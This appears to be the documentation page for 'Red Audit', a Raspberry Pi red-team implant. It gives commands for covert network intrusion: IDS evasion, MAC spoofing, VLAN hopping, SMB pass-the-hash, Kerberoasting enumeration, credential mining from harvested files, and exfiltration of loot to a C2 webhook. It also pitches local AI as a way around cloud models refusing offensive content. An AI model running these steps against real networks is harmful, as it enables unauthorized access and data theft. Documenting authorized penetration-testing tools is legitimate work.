Skip to content

DOCS.md

Latest commit

 

History

History
443 lines (329 loc) · 18.2 KB

DOCS.md

File metadata and controls

443 lines (329 loc) · 18.2 KB
Raw

Red Audit (red_audit) 🔴

Red Audit is a specialized Red Team network exploitation and data exfiltration tool designed to map attack surfaces, hunt for exposed sensitive data, and identify critical Active Directory misconfigurations — while maintaining a minimal footprint to evade Intrusion Detection Systems (IDS).

Optimized for the Raspberry Pi 5 with 16GB RAM and NVMe PCIe Gen 3 storage running Debian Trixie).

Unlike standard vulnerability scanners that are intentionally noisy, Red Audit operates under an "Assume Breach" physical-access methodology. It executes strictly controlled, fragmented network probes and uses a local, offline AI to generate weaponized Executive Summaries without ever sending client data to the cloud.

🏗 Architecture: The Hub-and-Spoke Model

Red Audit follows a strict Hub-and-Spoke architectural pattern for scalability and maintainability on embedded systems:

  • The Hub (main.py / registry.py): All configuration, hardware state (GPIO), global flags, and orchestration logic live here.
    • Rule: No worker module may access the filesystem or network directly without receiving a specific parameter from the registry.
  • The Spokes (scanners/, reporting/): Independent, stateless workers that perform discrete tasks (e.g., SYN scanning, Nuclei execution, LDAP enumeration).
    • Rule: Workers return raw results to the Hub for routing decisions and report ingestion. They own no state.

📂 Directory Structure

RedTeam/
├── passwords.txt                 # Credential wordlist — loaded by registry, used by SMB, AD & Nuclei
├── usernames.txt                 # Username wordlist  — loaded by registry, used by SMB, AD & Nuclei
├── pyproject.toml                # Build system, dependencies, and tool configuration (ruff, mypy, pytest)
├── README.md                     # This file
├── setup.sh                      # Debian Trixie & Pi 5 PCIe Gen 3 environment bootstrap
├── update_env.sh                 # Environment, Nuclei binary, & Ollama model update script
├── .venv/                        # Isolated Python environment managed by uv
│
├── tests/
│   ├── conftest.py               # Shared sys.path setup; makes src/ and scripts/ importable project-wide
│   ├── test_ad.py                # ADScanner: LDAP paged search, Kerberoasting detection, PtH formatting
│   ├── test_ai.py                # IntelligenceEngine: Ollama inference, strategic vs. tactical routing
│   ├── test_ai_code_auditor.py   # AuditEngine: static linting, AI payload correctness, run_sweep smoke test
│   ├── test_data_miner.py        # DataMiner: Pandas aggregation, AI prompt context generation
│   ├── test_egress.py            # EgressScanner: ZIP archive, chunked HTTPS exfiltration, retry logic
│   ├── test_engine.py            # ReportEngine: SQLite writes, SHA-256 deduplication, session recovery
│   ├── test_finding.py           # Finding dataclass: severity weights, serialization, LLM formatting
│   ├── test_helpers.py           # parse_targets (IP/CIDR/file), stealth_chunker OPSEC delays
│   ├── test_html_report.py       # html_report: risk score math, CVE linkification, HTML rendering
│   ├── test_logger.py            # RedAuditLogger: handler setup, permission-error fallback, flush
│   ├── test_loot_parser.py       # LootMiner: regex secret extraction, line tracking, AI context
│   ├── test_main.py              # main(): root guard, target sanitisation, chunked scan routing
│   ├── test_menu.py              # LCD menu: hardware init, dead-link detection, stealth mode
│   ├── test_network.py           # NetworkScanner: banner grab, SYN-ACK flag parsing, root guard
│   ├── test_notifications.py     # Notifications: webhook dispatch, batch sender, missing-URL safety
│   ├── test_nuclei_scan.py       # NucleiScanner: JSONL parsing, subprocess flags, binary-not-found
│   ├── test_passive.py           # GhostMode: TTL fingerprinting, reverse DNS, subnet calculation
│   ├── test_registry.py          # EngagementRegistry: path init, hardware manifest immutability
│   ├── test_smb.py               # SMBScanner: loot detection, connect (password & PtH), BFS crawl
│   └── test_vlan_hop.py          # VlanHopper: DTP spoofing, double-tagging, permission enforcement
│
├── scripts/
│   └── ai_code_auditor.py        # Automated code quality tool: runs Ruff + MyPy, then Ollama deep-dive
│
├── output/                       # Engagement artefacts — Git-ignored
│   ├── engagement.db             # Central SQLite database for power-loss recovery
│   ├── master_live_hosts.txt     # Rolling, deduplicated list of verified live targets
│   ├── report_[mod]_[targ].json  # Cumulative machine-readable vulnerability findings
│   ├── report_[mod]_[targ].html  # AI-summarized, self-contained HTML final report
│   ├── logs/                     # Append-mode rotating operational logs
│   └── loot/                     # Exfiltrated files, BloodHound ZIPs, and raw PCAPs
│
└── src/
    └── red_audit/
        ├── main.py               # CLI entry point; routes subcommands, manages worker lifecycle
        ├── menu.py               # ST7789 LCD operator interface; hardware nav, stealth mode toggle
        ├── registry.py           # Master config hub: hardware pins, AI models, stealth timings, paths
        │
        ├── reporting/
        │   ├── ai.py             # IntelligenceEngine: dual-tier Ollama inference for tactical/strategic summaries
        │   ├── engine.py         # ReportEngine: finding ingestion, SQLite persistence, deduplication
        │   ├── finding.py        # Finding dataclass: severity weights, serialization, LLM context formatting
        │   └── html_report.py    # Renders findings + AI summary into a standalone, inline-CSS HTML report
        │
        ├── scanners/
        │   ├── ad.py             # LDAP3-based AD enumeration: Kerberoasting, AS-REP roasting, group mapping
        │   ├── egress.py         # Chunked HTTPS exfiltration engine for DLP bypass testing
        │   ├── network.py        # Stealth TCP SYN scanner with banner grabbing and RST teardown
        │   ├── nmap_vuln.py      # Nmap subprocess wrapper; stream-parses NSE XML output into findings
        │   ├── nuclei_scan.py    # Nuclei subprocess wrapper; stream-parses JSONL output into findings
        │   ├── passive.py        # GhostMode: zero-packet ARP/LLMNR sniffing and TTL OS fingerprinting
        │   ├── smb.py            # SMB authenticator, BFS share crawler, and loot exfiltrator
        │   └── vlan_hop.py       # Layer 2 attacks: DTP switch spoofing and 802.1Q double-tagging
        │
        └── utils/
            ├── data_miner.py     # Aggregates Finding objects into Pandas DataFrames; builds AI prompt context
            ├── helpers.py        # parse_targets (IP/CIDR/file), stealth_chunker, credential helpers
            ├── logger.py         # Rotating file + Rich console logger with permission-error fallback
            ├── loot_parser.py    # Regex-based secret extractor (passwords, API keys, private keys) from loot files
            └── notifications.py  # Threaded C2 webhook alerter with batch send and retry logic

🧠 Execution Flow: The Stealth Dropbox Methodology

Red Audit is built around strict OPSEC. When deployed as a hardware implant, the execution flow is:

Phase I: Ghost Initialization & Reconnaissance

  1. Physical Deployment: Plug into the target network. menu.py selects Stealth (Promisc) mode, which disables DHCP and drops the interface into a silent, promiscuous state before any packets are sent.
  2. Zero-Packet Sniffing (passive.py): Harvest ARP and LLMNR background traffic to map live RFC 1918 subnets without transmitting a single packet. Raw .pcap files are saved to the NVMe for post-engagement analysis.

Phase II: Surgical Exploitation & Data Mining

  1. Layer 2 Analysis (vlan_hop.py): Test switch port vulnerabilities — DTP Switch Spoofing and 802.1Q Double Tagging to reach isolated VLANs.
  2. Stealth Chunking: Targets are fragmented into small, jitter-delayed batches to maintain a low network profile and prevent RAM exhaustion on the Pi 5.
  3. Active Scanning (network.py, nmap_vuln.py): Throttled TCP SYN scans followed by paced NSE script execution. XML output is stream-parsed via iterparse to avoid loading large files into RAM.

Phase III: Autonomous Intelligence & Exfiltration

  1. Targeted Harvesting:
    • Web / Nuclei: Rate-limited template scanning of internal panels and exposed services.
    • SMB: Authenticates (password or NTLM hash) and recursively mirrors sensitive files (.ps1, id_rsa, *.config) to the local NVMe drive via a BFS crawler.
    • AD: Connects to a Domain Controller to enumerate Kerberoastable/AS-REP accounts and silently generates a BloodHound privilege graph.
  2. AI Analysis (reporting/ai.py): An offline Ollama LLM reads scan findings and exfiltrated loot to generate a prioritized Executive Summary — completely air-gapped from the cloud.
  3. Egress Testing (egress.py): Jittered HTTPS delivery of Base64-encoded loot to a C2 endpoint to validate Blue Team DLP controls.

🛠 Technical Specifications & Optimization

Component Specification / Strategy Benefit for Pi 5 (ARMv8)
Storage NVMe PCIe Gen 3 Support High-speed loot mirroring and logging without I/O bottlenecks on SD card.
Memory Stream Parsing (iterparse / JSONL) Prevents RAM exhaustion during large Nmap XML or Nuclei JSONL output processing.
Concurrency stealth_chunker + jitter delays Mimics human-like network behaviour to evade IDS rate-based detection.
AI Engine Ollama (local, configurable model) 100% air-gapped inference; no client data ever leaves the implant.

📦 Prerequisites & Installation

Requirements

  • OS: Debian Trixie / Raspberry Pi OS (64-bit)
  • Hardware: Raspberry Pi 5, NVMe SSD, LCD Screen (optional but recommended)
  • System packages: libpcap-dev, python3-venv, nmap, nuclei, ollama

Bootstrap

# Install OS dependencies, uv, Python venv, Nuclei binary, and Ollama models
chmod +x setup.sh && ./setup.sh
# Reboot to apply PCIe Gen 3 speed and SPI interface changes
sudo reboot

🧪 Testing & Validation

Before deploying the implant to a physical target, run the full validation suite to verify data persistence, module logic, and API contract integrity.

# Install the package with all dev dependencies
uv sync --group dev
# Run the full test suite (97 tests across 20 modules)
uv run pytest
# Run the AI Code Auditor (requires Ollama running with the configured model)
uv run python scripts/ai_code_auditor.py

# Include per-file AI deep scan
uv run python scripts/ai_code_auditor.py --deep-scan

The AI Code Auditor runs three passes:

  1. Ruff — PEP 8 and syntax linting
  2. MyPy — static type checking
  3. Ollama — deep logic review for memory leaks, unhandled exceptions, and Pi 5 hardware constraints

🕵️ OPSEC Deployment Guide: Zero-Packet Initialization

If you plug a Raspberry Pi into a corporate network with default settings, the OS immediately broadcasts a DHCP Discover packet containing your Raspberry Pi MAC address and hostname — instantly alerting the Blue Team.

Follow this manual workflow, or use the D-Pad LCD interface (menu.py) to perform these steps without a keyboard.

Step 1: Disable Network Managers

sudo systemctl stop NetworkManager
sudo systemctl stop dhcpcd

Step 2: Plug In and Listen (Ghost Mode)

Connect the ethernet cable. Run the passive scanner to harvest background ARP/LLMNR traffic:

sudo red-audit passive -i eth0 --timeout 600

Step 3: Spoof MAC Address

Change your MAC to blend in with the target environment. Pick a vendor OUI that matches the surrounding hardware (Dell workstations, Lenovo laptops, HP printers):

sudo ip link set dev eth0 down
# Example — replace with an OUI appropriate to the target environment:
sudo ip link set dev eth0 address 48:2a:e3:11:22:33
sudo ip link set dev eth0 up

Common vendor OUI prefixes for reference:

Vendor OUI Prefix
Dell 18:66:DA, F8:DB:88
Lenovo / IBM 48:2A:E3, 54:EE:75
HP 00:14:22, 3C:D9:2B
Cisco IP Phone 00:0E:08, 58:AC:78

Step 4: Claim a Discovered Unused IP

Statically assign an IP address from the subnet you mapped in Step 2:

sudo ip addr add 10.0.0.222/24 dev eth0
sudo ip route add default via 10.0.0.1

💻 Module Usage & Available Options

The red-audit command is your primary orchestrator. All modules require sudo. Reports accumulate cumulatively in output/ across runs.

1. Database Recovery (recover)

Recover an interrupted engagement from the SQLite NVMe database without re-scanning.

sudo red-audit recover

2. Passive Reconnaissance (passive)

Zero-packet ARP/LLMNR sniffing to map live subnets. Use --scan-ports to automatically pipeline discovered IPs into a SYN scan.

sudo red-audit passive -i eth0 --timeout 600
sudo red-audit passive -i eth0 --timeout 600 --scan-ports

3. Layer 2 Attacks (vlan)

Test switch ports for DTP Switch Spoofing and 802.1Q Double Tagging.

sudo red-audit vlan -i eth0 -t 10.0.0.1 --vlans 10,20,99

4. Network Discovery (network)

Throttled TCP SYN scans. Use auto to pull targets from master_live_hosts.txt.

sudo red-audit network -t 192.168.1.0/24
sudo red-audit network -t auto
sudo red-audit network -t 192.168.1.0/24 --auto-nmap

5. Vulnerability Scanning (nmap)

Paced NSE script execution against specific ports.

sudo red-audit nmap -t auto -p 135,139,445
sudo red-audit nmap -t 10.30.16.110 -p 135,139,445,3389
sudo red-audit nmap -t 192.168.1.1 -p 443,8080,8443

6. Web Application Scanning (web)

Rate-limited Nuclei template execution. Hunts for exposed panels, default credentials, and CVEs.

sudo red-audit web -t http://10.0.0.50:8080
sudo red-audit web -t http://10.0.0.50:8080 -U usernames.txt -P passwords.txt

7. SMB Harvesting (smb)

Recursive SMB share enumeration and sensitive file mirroring. Supports password or NTLM hash auth.

# Password authentication
sudo red-audit smb -t 192.168.1.0/24 -d "CORP" -u "jsmith" -p "Password123!"

# Pass-the-Hash (LM:NT format)
sudo red-audit smb -t auto -u "Administrator" -H "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"

8. Active Directory (ad)

Enumerates Kerberoastable/AS-REP accounts and silently maps the AD privilege graph.

sudo red-audit ad -t 192.168.1.10 -d "CORP.LOCAL" -u "jsmith" -p "Password123!"
sudo red-audit ad -t 192.168.1.10 -d "CORP.LOCAL" -u "jsmith" -H "aad3b435b51404eeaad3b435b51404ee:HASH"

9. Egress Testing (egress)

Compresses, Base64-encodes, and delivers loot via jittered HTTPS to test DLP controls.

sudo red-audit egress -u "https://your-c2.com/webhook"

10. Loot Mining

After an SMB run, use the LootMiner utility to extract credentials, API keys, and private keys from the files mirrored to output/loot/:

from pathlib import Path
from red_audit.utils.loot_parser import LootMiner

miner = LootMiner(loot_dir=Path("output/loot"), output_dir=Path("output"))
df = miner.mine()
print(df[["type", "match", "file", "line"]].to_string())

🤖 Offline AI HTML Reporting

Red Audit eliminates dependence on cloud APIs (OpenAI, Anthropic, etc.) that compromise client data and commonly refuse to generate offensive security content.

The AI engine (reporting/ai.py) runs locally via Ollama using a dual-tier model strategy configured in registry.py:

  • Tactical model: Fast, module-scoped summaries generated after each scanner completes.
  • Strategic model: Full engagement synthesis across all modules, written as an Executive Summary.

Both the model selection and the Ollama host URL are fully configurable via registry.py or environment variables — no model is hardcoded. The default models are in the Qwen series; update registry.ai_config to use any model available in your ollama list.

The final output is written to output/report_[module]_[target].html — a standalone, self-contained file with inline CSS and CVE hyperlinks.

Maintenance: Updating Models

Pull updated weights for all models configured in your registry:

ollama pull <your-tactical-model>
ollama pull <your-strategic-model>

To automate weekly updates, add to crontab -e:

0 2 * * 0 /usr/local/bin/ollama pull <your-model-name> > /dev/null 2>&1

🚀 Autonomous Headless Deployment (Systemd)

Configure the Pi to launch Red Audit automatically on power-up for a true "drop and forget" implant.

1. Create the service file

sudo nano /etc/systemd/system/red-audit.service

2. Add the service configuration

[Unit]
Description=Red Audit Autonomous Dropbox
After=network.target

[Service]
Type=idle
User=root
WorkingDirectory=/home/pi/RedTeam
ExecStart=/home/pi/RedTeam/.venv/bin/red-audit passive -i eth0 --timeout 300 --scan-ports
Restart=on-failure
RestartSec=60

[Install]
WantedBy=multi-user.target

3. Enable and start

sudo systemctl daemon-reload
sudo systemctl enable red-audit.service
sudo systemctl start red-audit.service

The implant will now autonomously sniff the network, SYN-scan discovered hosts, and generate an AI-authored HTML report — entirely headless and without operator interaction.